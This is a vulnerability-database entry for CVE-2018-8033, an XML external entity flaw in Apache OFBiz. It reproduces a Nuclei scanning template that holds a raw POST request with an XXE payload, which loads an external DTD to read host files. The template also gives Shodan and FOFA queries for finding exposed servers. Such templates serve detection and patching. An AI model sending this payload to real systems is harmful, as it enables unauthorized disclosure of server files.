| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| Apache OFBiz Information Disclosure Vulnerability (CNVD-2018-25797) | 18 Dec 201800:00 | – | cnvd | |
| CVE-2018-8033 | 13 Dec 201814:00 | – | cve | |
| CVE-2018-8033 | 13 Dec 201814:00 | – | cvelist | |
| CVE-2018-8033 | 13 Dec 201814:29 | – | nvd | |
| CVE-2018-8033 | 13 Dec 201814:29 | – | osv | |
| Design/Logic Flaw | 13 Dec 201814:29 | – | prion | |
| PT-2018-18396 · Apache · Apache Ofbiz | 13 Dec 201800:00 | – | ptsecurity |
id: CVE-2018-8033
info:
name: Apache OFBiz - XML External Entity Injection
author: daffainfo
severity: high
description: |
In Apache OFBiz 16.11.01 to 16.11.04, the OFBiz HTTP engine (org.apache.ofbiz.service.engine.HttpEngine.java) handles requests for HTTP services via the /webtools/control/httpService endpoint. Both POST and GET requests to the httpService endpoint may contain three parameters: serviceName, serviceMode, and serviceContext. The exploitation occurs by having DOCTYPEs pointing to external references that trigger a payload that returns secret information from the host.
impact: |
Attackers can read sensitive files or cause denial of service by exploiting XXE vulnerability.
remediation: |
Update to the latest version of Apache OFBiz that addresses the XXE vulnerability or apply security patches.
reference:
- https://lists.apache.org/thread/9bym7qk6ccwwr6d3mg26thp9zyv1l06y
- https://nvd.nist.gov/vuln/detail/CVE-2018-8033
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-8033
cwe-id: CWE-200
epss-score: 0.25743
epss-percentile: 0.977
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: apache
product: ofbiz
shodan-query:
- http.html:"ofbiz"
- ofbiz.visitor=
fofa-query:
- body="ofbiz"
- app="apache_ofbiz"
tags: cve,cve2018,apache,ofbiz,xxe,vuln
http:
- raw:
- |
POST /webtools/control/httpService HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
serviceName=createPartyGroup&serviceMode=sync&serviceContext=<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY %25 request SYSTEM 'https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/xxe-poc.dtd'>%25request;%25secondstage;]><r>%26disclose;</r>
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "FileNotFoundException:"
- "nonexistent\\/root:.*:0:0:"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100b28e290326bf2307427d9c1e912bfb9530dd058f0ceed2e2728d637c8eddd36b022100b15645a40bff56844a2cb50e4b336cad240a09014b4ce56b635e139a21f7428e:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation